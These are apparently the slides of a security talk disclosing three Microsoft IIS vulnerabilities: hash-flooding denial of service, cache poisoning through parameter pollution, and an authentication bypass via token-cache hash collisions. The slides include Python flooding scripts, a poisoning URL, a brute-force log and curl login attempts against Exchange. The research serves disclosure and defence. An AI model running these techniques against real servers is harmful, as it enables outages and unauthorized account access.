Let's Dance in the Cache:
Destabilizing Hash Table on Microsoft IIS

Orange Tsai

DEV CORE
For a Protected Area

Th1s-1s-@-Sup3r-Str0ng-P@33w0rD!
All Passwords are Valid
Orange Tsai

• Specialize in Web and Application Vulnerability Research
  • Principal Security Researcher of DEVCORE
  • Speaker at Conferences: Black Hat USA/ASIA, DEFCON, HITB AMS/GSEC, POC, CODE BLUE, Hack.lu, WooYun and HITCON
  • Former Captain of HITCON CTF Team

• Selected Awards and Honors:
  • 2017 - 1st place of Top 10 Web Hacking Techniques
  • 2018 - 1st place of Top 10 Web Hacking Techniques
  • 2019 - Winner of Pwnie Awards "Best Server-Side Bug"
  • 2021 - Champion and "Master of Pwn" of Pwn2Own
  • 2021 - Winner of Pwnie Awards "Best Server-Side Bug"
Outline

1. Introduction
2. Our Research
3. Vulnerabilities
4. Recommendations
Hash Table

The most underlying Data Structure in Computer Science
# Create a Hash Table

```python
Table = {
    "one": "apple",
    "two": "banana",
}

Table["three"] = "lemon"
Table["four"] = "orange"

delete Table["two"]
```
What is Hash-Flooding Attack?
Drop all records into a same bucket

Degenerate the Hash Table to a single Linked-List
Key Set

QIH5VQ
7TZUCP
KJNT08
MN6RJL
TJDI4X

Buckets

00
01
02
03
04
05
...
25
26
27
28
29
30
31

HASH FUNCTION

H(KEY) % 32
<table>
<thead>
<tr>
<th></th>
<th>Average Case</th>
<th>Worst Case</th>
</tr>
</thead>
<tbody>
<tr>
<td>Insert</td>
<td>$O(1)$</td>
<td>$O(n)$</td>
</tr>
<tr>
<td>Delete</td>
<td>$O(1)$</td>
<td>$O(n)$</td>
</tr>
<tr>
<td>Search</td>
<td>$O(1)$</td>
<td>$O(n)$</td>
</tr>
</tbody>
</table>
$O(n^2)$

Insert $n$ elements
Microsoft IIS  Heart  Hash Table

Lots of data such as HTTP-Headers, Server-Variables, Caches and Configurations are stored in Hash Table.
Microsoft's Two Hash Table

- TREE_HASH_TABLE
- LKRHash Table
• The most standard code you have seen in your textbook
  • Use chaining through Linked-List as the collision resolution
  • Rehash all records at once when the table is unhealthy
  • Combine DJB-Hash with LCGs as its Hash Function
LKRHash Table

• A successor of Linear Hashing, which aims to build a scalable Hash Table on high-concurrent machines.
  • Invented at Microsoft in 1997 (US Patent 6578131)
    • Paul Larson - from Microsoft Research
    • Murali Krishnan - from IIS Team
    • George Reilly - from IIS Team
  • Allow applications to customize their table-related functions such as Key-Extractor, Hash-Calc and Key-Compare operations.
Outline

1. Introduction

2. Our Research
   a) Hash Table Implementation
   b) Hash Table Usage
   c) IIS Cache Mechanism

3. Vulnerabilities

4. Recommendations
Hash Table Implementation

• Memory corruption bugs
• Logic bugs
  • E.g. CVE-2006-3017 discovered by Stefan Esser - PHP didn’t distinguish the type of hash-key leads to `unset()` a wrong element.
• Algorithmic Complexity Attack such as Hash-Flooding Attack
Hash Table Usage

• Since LKRHash is designed to be a customizable implementation that can be applied to various scenarios, applications have to configure their own table-related functions during initialization.

  • Is the particular function good?
  • Is the logic of the Key-Calculation good?
  • Is the logic of the record selection good?
  • More and more…
IISSvcs (svchost.exe)

- World Wild Web Publishing Service (W3SVC)
- Windows Process Activation Service (WAS)

HTTP.SYS
IISvcs (svchost.exe)

- World Wild Web Publishing Service (W3SVC)
- Windows Process Activation Service (WAS)

HTTP.SYS
<?xml version="1.0" encoding="UTF-8"?>

applicationHost.config

IISSvcs (svchost.exe)

World Wild Web Publishing Service (W3SVC)

Windows Process Activation Service (WAS)

Worker (w3wp.exe)

Initializing

iisutil.dll  w3tp.dll

iiscore.dll  w3dt.dll  ...

HTTP.SYS

HTTP
<?xml version="1.0" encoding="UTF-8"?>

<applicationHost.config>

HTTP.SYS

Windows Process Activation Service (WAS)

World Wild Web Publishing Service (W3SVC)

IISSvcs (svchost.exe)

IIS Modules
- static.dll
- filter.dll
- isapi.dll
- iislog.dll
- cachuri

Worker (w3wp.exe)

Initializing
- iisutil.dll
- w3tp.dll
- w3dt.dll
- ...

iiscore.dll

HTTP

HTTP.SYS
## Native IIS Modules

<table>
<thead>
<tr>
<th>FileCacheModule</th>
<th>HttpRedirection</th>
<th>StaticFileModule</th>
</tr>
</thead>
<tbody>
<tr>
<td>StaticCompression</td>
<td>CustomErrorModule</td>
<td>BasicAuthModule</td>
</tr>
<tr>
<td>RequestFiltering</td>
<td>TokenCacheModule</td>
<td>HttpLoggingModule</td>
</tr>
<tr>
<td>WindowsAuthModule</td>
<td>CgiModule</td>
<td>AnonymousAuthModule</td>
</tr>
<tr>
<td>UriCacheModule</td>
<td>ProtocolSupport</td>
<td>HTTPCacheModule</td>
</tr>
<tr>
<td>DynamicCompression</td>
<td>DefaultDocument</td>
<td>IsapiModule</td>
</tr>
<tr>
<td>DirectoryListing</td>
<td>CustomLogging</td>
<td>...</td>
</tr>
</tbody>
</table>
Global Cache Provider/Handler

- FileCacheModule
- TokenCacheModule
- UriCacheModule
- HTTPCacheModule
Request-Level Notify Events

- BeginRequest
- AuthenticateRequest
- AuthorizeRequest
- ResolveRequestCache
- MapRequestHandler
- AcquireRequestState
- PreExecuteRequestHandler
- ExecuteRequestHandler
- ReleaseRequestState
- UpdateRequestCache
- LogRequest
- EndRequest
Global-Level Notify Events

- StopListening
- ApplicationStart
- ApplicationStop
- HealthCheck
- ConfigurationChange
- FileChange
- TraceEvent
- ThreadCleanup
- CacheCleanup
- CacheOperation
- CustomNotification
- ...

Request-Level Cache

- BeginRequest
- AuthenticateRequest
- AuthorizeRequest
- ResolveRequestCache
- MapRequest
- ExecuteRequest
- UpdateRequestCache
- LogRequest
- EndRequest

FileCacheModule: cachFile.dll
TokenCacheModule: cachTokn.dll
UriCacheModule: cachUri.dll
HTTPCacheModule: cachHttp.dll
Global-Level Cache

BeginRequest
AuthorizeRequest
ResolveRequestCache
ExecuteRequest
MapRequest
UpdateRequestCache
LogRequest
EndRequest

Raise Global Notification
GL_CACHE_OPERATION

FileCacheModule
chunkFile.dll

TokenCacheModule
chunkToken.dll

UriCacheModule
chunkUri.dll

HTTPCacheModule
chunkHttp.dll
Outline

1. Introduction

2. Our Research

3. Vulnerabilities
   a) CVE-2022-22025 - IIS Hash Flooding Attack
   b) CVE-2022-22040 - IIS Cache Poisoning Attack
   c) CVE-2022-30209 - IIS Authentication Bypass

4. Recommendations
IIS Hash Flooding Attack

CVE-2022-22025
Hash Flooding Attack on IIS

• The Spoiler:
  • TREE_HASH_TABLE: Vulnerable to Hash Flooding DoS by default.
  • LKRHash: Vulnerable only if a poor Hash Function is configured.
UriCacheModule

• Cache URI information and configuration
  • Accessible by default
  • Every URL access triggers a Hash Table Lookup / Insert / Delete
  • Use TREE_HASH_TABLE
Time of Every 1000 New Records
What is this Jitter?
bool TREEHASHTABLE::InsertRecord(TREEHASHTABLE *this, void *record) {
    /* omitting */
    hashKey = this->vt->GetHashKey(this, record);
    sig = TREEHASHTABLE::CalcHash(this, hashKey);
    bucket = this->ppBuckets[sig % this->nBuckets];

    /* check for duplicates */
    while (!bucket->pNext) {
        /* traverse the linked-list */
    }

    /* add to the table */
    ret = TREEHASHTABLE::AddNodeInternal(this, key, sig, keylen, bucket, &bucket);
    if (ret >= 0) {
        TREEHASHTABLE::RehashTableIfNeeded(this);
    }
}
bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) {
    /* omitting */
    hashKey = this->vt->GetHashKey(this, record);
    sig = TREE_HASH_TABLE::CalcHash(this, hashKey);
    bucket = this->_ppBuckets[sig % this->_nBuckets];

    /* check for duplicates */
    while ( !bucket->pNext ) {
        /* traverse the linked-list */
    }
    /* add to the table */
    ret = TREE_HASH_TABLE::AddNodeInternal(this, key, sig, keylen, bucket, &bucket);
    if ( ret >= 0 ) {
        TREE_HASH_TABLE::RehashTableIfNeeded(this);
    }
}
```c
void TREE_HASH_TABLE::RehashTableIfNeeded(TREE_HASH_TABLE *this) {

    if ( this->_nItems > TREE_HASH_TABLE::GetPrime(2 * this->_nBuckets) ) {
        CReaderWriterLock3::WriteLock(&this->locker);
        Prime = TREE_HASH_TABLE::GetPrime(2 * this->_nBuckets);
    }

    if ( this->_nItems > Prime && Prime < 0x1FFFFFFF ) {
        ProcessHeap = GetProcessHeap();
        newBuckets = HeapAlloc(ProcessHeap, HEAP_ZERO_MEMORY, 8 * Prime);

        for ( i = 0 ; i < this->_nBuckets; i++ ) {
            /* move all records to new table*/
        }

        this->_ppBuckets = newBuckets;
        this->_nBuckets = Prime;
    }

    /* omitting */
}
```
Questions to be solved...

1. How much of the Hash-Key we can control?
2. How easy the Hash Function is collide-able?
Cache-Key Calculation

• For the given URL: http://server/foobar
DWORD TREE_HASH_TABLE::CalcHash(wchar_t *pwsz) {
    DWORD dwHash = 0;
    for ( ; *pwsz; ++pwsz)
        dwHash = dwHash * 101 + *pwsz;
    return ((dwHash * 1103515245 + 12345) >> 16)
            | ((dwHash * 69069 + 1) & 0xffffff0000);
}
IS THIS HASH FUNCTION GOOD?
“No.”

by Alech & Zeri from their awesome talk at 28c3
DWORD TREE_HASH_TABLE::CalcHash(wchar_t *pwsz) {
    DWORD dwHash = 0;

    for ( ; *pwsz; ++pwsz) 
        dwHash = dwHash * 101 + *pwsz;

    return ((dwHash * 1103515245 + 12345) >> 16) 
            | ((dwHash * 69069 + 1) & 0xffffffff);
}
Equivalent Substrings

\[ h_{33}("PS") = 33^1 \times \text{asc}("P") + 33^0 \times \text{asc}("S") = 2723 \]

\[ h_{33}("Q2") = 33^1 \times \text{asc}("Q") + 33^0 \times \text{asc}("2") = 2723 \]

\[ h_{33}("PSA") = 33^1 \times h_{33}("PS") + 33^0 \times \text{asc}("A") = 33^1 \times h_{33}("Q2") + 33^0 \times \text{asc}("A") = h_{33}("Q2A") \]

\[ h_{33}("PSPS") = h_{33}("PSQ2") = h_{33}("Q2PS") = h_{33}("Q2Q2") \]
\[ h_{101}("XR39M083") = h_{101}("B94OS5T0") = h_{101}("R04I46KN") = h_{101}("...") \]

```python
import requests
from itertools import product

MAGIC_TABLE = [
    "XR39M083", "B94OS5T0", "R04I46KN", "DIO137NY",
    # ...
]

for i in product(MAGIC_TABLE, repeat=8):
    request.get( "http://iis/" + ".join(i) )
```
import requests
from itertools import product

MAGIC_TABLE = [
    "XR39M083", "B94OS5T0", "R04I46KN", "DIO137NY",
    # ...
]

for i in product(MAGIC_TABLE, repeat=8):
    request.get("http://iis/" + "".join(i))
YOUR ATTACK IS F*CKING WEAK
EVEN YOUR GRANDMA IS FASTER THAN YOU
Obstacles to make this not-so-practical...

1. The increment is too slow
2. The Cache Scavenger
   • A thread used to delete unused records every 30 seconds 😞
Bad implementation for a rescue!

```cpp
bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) {
    /* omitting */

    while ( i <= KeyLength ) {
        if ( !SubKey[i] ) {
            SubKeySig = TREE_HASH_TABLE::CalcHash(this, SubKey);
            record = 0;
            if ( i == KeyLength )
                record = OrigRecord;
        
            ret = TREE_HASH_TABLE::AddNodeInternal(this, SubKey, SubKeySig, record, ...);
            if ( ret != 0x800700B7 )
                break;
        
        SubKey[i] = Key[i]; // Substitute the NUL-byte to slash
    
        i = i + 1;
    }
    /* omitting */
}
```
1. `FindRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...")`
http://server/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/…

**SEARCH**

1. FindRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...")

**INSERT**

1. InsertRecord(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH/...")
2. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/HHHH"")
3. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF/GGGG/")
4. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE/FFFF")
5. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD/EEEE")
6. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC/DDDD")
7. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB/CCCC")
8. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA/BBBB"")
9. AddNodeInternal(key="<MACHINE-PREFIX>/AAAA")
```cpp
bool TREE_HASH_TABLE::InsertRecord(TREE_HASH_TABLE *this, void *record) {
    /* omitting */

    while (i <= KeyLength) {
        if (!SubKey[i]) {
            SubKeySig = TREE_HASH_TABLE::CalcHash(this, SubKey);
            record = 0;
            if (i == KeyLength)
                record = OrigRecord;
        
            ret = TREE_HASH_TABLE::AddNodeInternal(this, SubKey, SubKeySig, record, ...);
            if (ret != 0x800700B7)
                break;
            SubKey[i] = Key[i];       // Substitute the NUL-byte to slash
        }
        i = i + 1;
    }
    /* omitting */
}
```
\[ h_{101}(Path_1) \]
\[ = h_{101}(Path_1 + Path_2) \]
\[ = h_{101}(Path_1 + Path_2 + Path_3) \]
\[ = h_{101}(Path_1 + Path_2 + Path_3 + Path_4) \]
\[ = h_{101}(Path_1 + Path_2 + Path_3 + Path_4 + Path_5) \]
\[ = h_{101}(Path_1 + Path_2 + Path_3 + Path_4 + Path_5 + Path_6) \]
\[ = h_{101}(Path_1 + Path_2 + Path_3 + Path_4 + Path_5 + Path_6 + Path_7) \]
\begin{align*}
h_{101}(\text{Path}_1) &= 0 \\
&= h_{101}(\text{Path}_1 + \text{Path}_2) = 0 \\
&= h_{101}(\text{Path}_1 + \text{Path}_2 + \text{Path}_3) = 0 \\
&= h_{101}(\text{Path}_1 + \text{Path}_2 + \text{Path}_3 + \text{Path}_4) = 0 \\
&= h_{101}(\text{Path}_1 + \text{Path}_2 + \text{Path}_3 + \text{Path}_4 + \text{Path}_5) = 0 \\
&= h_{101}(\text{Path}_1 + \text{Path}_2 + \text{Path}_3 + \text{Path}_4 + \text{Path}_5 + \text{Path}_6) = 0 \\
&= h_{101}(\text{Path}_1 + \text{Path}_2 + \text{Path}_3 + \text{Path}_4 + \text{Path}_5 + \text{Path}_6 + \text{Path}_7) = 0
\end{align*}
Amplify the attack 10-times at least by a slight modification

```python
import requests

from itertools import product

ZERO_HASH_TABLE = [
    "/HYBCPQOG", "/XOCZE29I", "/HWYDXRYR", "/289MICAP", 
]

for i in ZERO_HASH_TABLE:
    request.get( "http://iis/" + "2BDCKV6" + i*12 )
```
The Result

• Denial-of-Service on default installed Microsoft IIS
  • About 30 requests per-second can make a 8-core and 32GB-ram server unresponsive
• Awarded $30,000 by Windows Insider Preview Bounty Program
Demo

https://youtu.be/VtnDkzYPNCK
IIS Cache Poisoning Attack

CVE-2022-22040
Cache Poisoning Attack on IIS

• IIS-Level Caching for:
  • Static Response - Cached by Kernel (http.sys)
  • Dynamic Response - Cached by HTTPCacheModule

• HTTPCacheModule
  • Use LKRHash
HTTP Cache Module
Add Cache Rule

File name extension: *.aspx

User-mode caching

Multiple File Versions
Cache different versions of a file based on:

- Query string variable(s):
  - id

Kernel-mode caching

OK Cancel
Cache Poisoning While...

- Configure the cache based on the Query String:
  - IIS caches responses by the specified Query-String
  - Inconsistency between the module’s Query-String parser and the backend (mostly ASP.NET) may cache wrong results.
A Case of Inconsistency

- A simple HTTP Parameter Pollution can rule them all
  - **Output Caching**: Use the first occurrence for the Cache-Key
  - **ASP.NET**: Concatenate all together!

<table>
<thead>
<tr>
<th></th>
<th>Output Caching</th>
<th>ASP.NET</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>key=val1&amp;key=val2</strong></td>
<td></td>
<td><strong>key=val1,val2</strong></td>
</tr>
</tbody>
</table>
The hacker poisoned...

http://orange.local/hello.aspx?id=Orange
&id=+and+You+Got+Poisoned

<%=
String.Format("Hello {0}", Request("id"))%>
The user saw...

http://orange.local/hello.aspx?id=Orange

Hello Orange, and You Got Poisoned
IIS Authentication Bypass

CVE-2022-30209
For a Protected Area

Username: orange
Password: Th1s-1s-@-Sup3r-Str0ng-P@33w0rD!
All Passwords are Valid
You might be thinking...

• What’s the root cause?
• How do I get those passwords?
• What kind of scenarios are vulnerable?
The login result cache...?

• Logon is an expensive operation so... Let’s cache it!
  • IIS by default cache windows security tokens for password-based authentications such as Basic Auth or Client-Certificate Auth...
  • A scavenger deletes unused records every 15 minutes :
  • Use LKRHash Table
Initializing a LKRHash Table

CLKRHashTable::CLKRHashTable(
    this,
    "TOKEN_CACHE",
    // An identifier for debugging
    pfnExtractKey, // Extract key from record
    pfnCalcKeyHash, // Calculate hash signature of key
    pfnEqualKeys, // Compare two keys
    pfnAddRefRecord, // AddRef in FindKey, etc
    4.0, // Bound on the average chain length.
    1, // Initial size of hash table.
    0, // Number of subordinate hash tables.
    0 // Allow multiple identical keys?
);

fnCalcKeyHash for Token Cache

```
DWORD fnCalcKeyHash(wchar_t *Username, wchar_t *Password) {
    DWORD i = 0, j = 0;

    for (; *Username; ++Username)
        i = i * 101 + *Username;

    for (; *Password; ++Password)
        j = j * 101 + *Password;

    return i ^ j;
}
```
fnEqualKeys for Token Cache

1    DWORD pfnEqualKeys(TokenKey *this, TokenKey *that) {
2
3        if ( this->LoginMethod != that->GetLogonMethod() ||
4            strcmp(this->Username, that->GetUserNameW()) ||
5            strcmp(this->Username, that->GetUserNameW()) ) {
6            return KEY_MISMATCH;
7        }
8
9        return KEY_MATCH;
10    }
DWORD pfnEqualKeys(TokenKey *this, TokenKey *that) {
    if (this->LoginMethod != that->GetLogonMethod() ||
        strcmp(this->Username, that->GetUserNameW()) ||
        strcmp(this->Username, that->GetUserNameW())) {
        return KEY_MISMATCH;
    }
    return KEY_MATCH;
}
DWORD pfnEqualKeys(TokenKey *this, TokenKey *that) {
    if (this->LoginMethod != that->LoginMethod || 
        strcmp(this->Username, that->GetUserNameW()) || 
        strcmp(this->Password, that->GetPasswordW())) {
        return KEY_MISMATCH;
    }
    return KEY_MATCH;
}
pfncalcKeyHash vs. pfnequalKeys

Username and Password are involved

Only Username is involved...
You can reuse another logged-in token with random passwords

1. Every password has the success rate of $1/2^{32}$
2. Unlimited attempts during the 15-minutes time window.
Winning the Lottery

1. Increase the odds of the collision!
2. Exploit without user interaction - Regain the initiative!
3. Defeat the 15-minutes time window!
1. Increase the Probability

- 4.2 billions hashes under the key space of a 32-Bit Integer
  - LKRHash Table uses LCGs to scramble the result
  - The **LCG is not one-to-one mapping** under the key space of a 32-bit integer

```c++
DWORD CLKRHashTable::_CalcKeyHash(IHttpCacheKey *key) {
    DWORD dwHash = this->pfnCalcKeyHash(key)
    return ((dwHash * 1103515245 + 12345) >> 16)
    | ((dwHash * 69069 + 1) & 0xffffff0000);
}
```
13% of Success Rate

13% of Key Space

by pre-computing the password
2. Regain the Initiative

- The "Connect As" feature is commonly used in Virtual Hosting or Web Hosting.
IIS auto-logon the user you specify while spawning a new process
Experiment Run!

- Windows Server is able to handle about 1,800 logins per-second
  - Running for all day  \( \frac{(1800 \times 86400)}{(2^{32} \times (1 - 0.13))} = 4.2\% \)
The odds are already higher than an SSR (Superior Super Rare) in Gacha Games...
Windows Server is able to handle about 1,800 logins per-second

- Running for all day: 
  \[(1800 \times 86400) ÷ (2^{32} \times (1 − 0.13)) = 4.2\%\]

- Running for 5 days: 
  \[(1800 \times 86400 \times 5) ÷ (2^{32} \times (1 − 0.13)) = 20.8\%\]

- Running for 12 days: 
  \[(1800 \times 86400 \times 10) ÷ (2^{32} \times (1 − 0.13)) = 49.9\%\]

- Running for 24 days: 
  \[(1800 \times 86400 \times 24) ÷ (2^{32} \times (1 − 0.13)) = 100\%\]
[Sat Jun 18 22:35:57 UTC 2022] - Total = 656552168,  Reqs/s = 1801.993
[Sat Jun 18 22:45:57 UTC 2022] - Total = 657645277,  Reqs/s = 1821.848
[Sat Jun 18 22:55:57 UTC 2022] - Total = 658739553,  Reqs/s = 1823.793
[Sat Jun 18 23:05:58 UTC 2022] - Total = 659838386,  Reqs/s = 1823.887
[Sat Jun 18 23:15:58 UTC 2022] - Total = 660923387,  Reqs/s = 1815.835
[Sat Jun 18 23:25:58 UTC 2022] - Total = 662019278,  Reqs/s = 1826.485
[Sat Jun 18 23:35:58 UTC 2022] - Total = 663113853,  Reqs/s = 1824.292
[Sat Jun 18 23:45:59 UTC 2022] - Total = 664195881,  Reqs/s = 1803.380
[Sat Jun 18 23:55:59 UTC 2022] - Total = 665275497,  Reqs/s = 1799.360
[Sun Jun 19 00:05:59 UTC 2022] - Total = 666357973,  Reqs/s = 1804.127
[Sun Jun 19 00:15:59 UTC 2022] - Total = 667443022,  Reqs/s = 1808.415
[Sun Jun 19 00:26:00 UTC 2022] - Total = 668497993,  Reqs/s = 1758.285
[Sun Jun 19 00:36:00 UTC 2022] - Total = 669571241,  Reqs/s = 1788.747
[Sun Jun 19 00:46:00 UTC 2022] - Total = 670650381,  Reqs/s = 1798.567
[Sun Jun 19 00:56:00 UTC 2022] - Total = 671732644,  Reqs/s = 1803.772
[Sun Jun 19 01:06:01 UTC 2022] - Total = 672814612,  Reqs/s = 1803.277

Gooooooooood, status = 200, password = A0E0QV5Q

real    6326m58.295s
user    650m21.074s
sys     801m11.261s
orange@work2:~/collide-auth$
3. Defeat the Time Window!

- In sophisticated modern applications, it’s common to see:
  1. background daemons that check the system health
  2. background cron-jobs that poke internal APIs periodically
3. Defeat the Time Window!

• The token will be **cached in the memory forever** if:
  1. The operations attach a credential
  2. The time gap between each access is less than 15 minutes
Microsoft Exchange Server
Microsoft Exchange Server

• Active Monitoring Service:
  • An enabled-by-default service to check the health of all services
  • Check Outlook Web Access and ActiveSync with a credential every 10 minutes!
$ curl "https://ex01/Microsoft-Server-ActiveSync/" \
   -u "HealthMailbox31e866..@orange.local:000000"
HTTP/2 401

$ curl "https://ex01/Microsoft-Server-ActiveSync/" \
   -u "HealthMailbox31e866..@orange.local:PASSWD"
HTTP/2 401

$ curl "https://ex01/Microsoft-Server-ActiveSync/" \
   -u "HealthMailbox31e866..@orange.local:KVBVDE"
HTTP/2 505
Outline

1. Introduction
2. Our Research
3. Vulnerabilities
4. Recommendations
Recommendation

• About the Hash Table design
  • Use PRFs such as SipHash/HighwayHash

• About the Cache Design
  • The inconsistency is the king.

• Learn from history
  • ✗ Limit the input size
  • ✗ A secret to randomize the Hash Function
Future Works

• Locate the correct bucket index by Timeless Timing Attack?
• A more efficient Hash-Flooding way on CachUriModule?
• Cache Poisoning on Static Files (Kernel-Mode)?
Thanks!

orange_8361
orange@chroot.org
https://blog.orange.tw